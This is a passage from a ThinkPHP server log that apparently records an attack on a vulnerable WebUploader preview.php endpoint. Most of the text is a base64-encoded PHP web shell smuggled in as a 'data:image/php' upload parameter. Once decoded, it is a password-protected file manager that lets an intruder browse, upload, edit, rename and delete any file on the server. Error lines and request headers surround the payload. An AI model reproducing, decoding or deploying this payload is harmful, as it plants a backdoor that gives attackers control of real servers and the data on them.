D4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'manage' => 'lib', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:04:50+08:00 ] 119.42.146.234 POST 59.110.137.245/static/manage/lib/webuploader/0.1.5/server/preview.php [运行时间:0.002958s] [吞吐率:338.06req/s] [内存消耗:196.78kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'manage', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3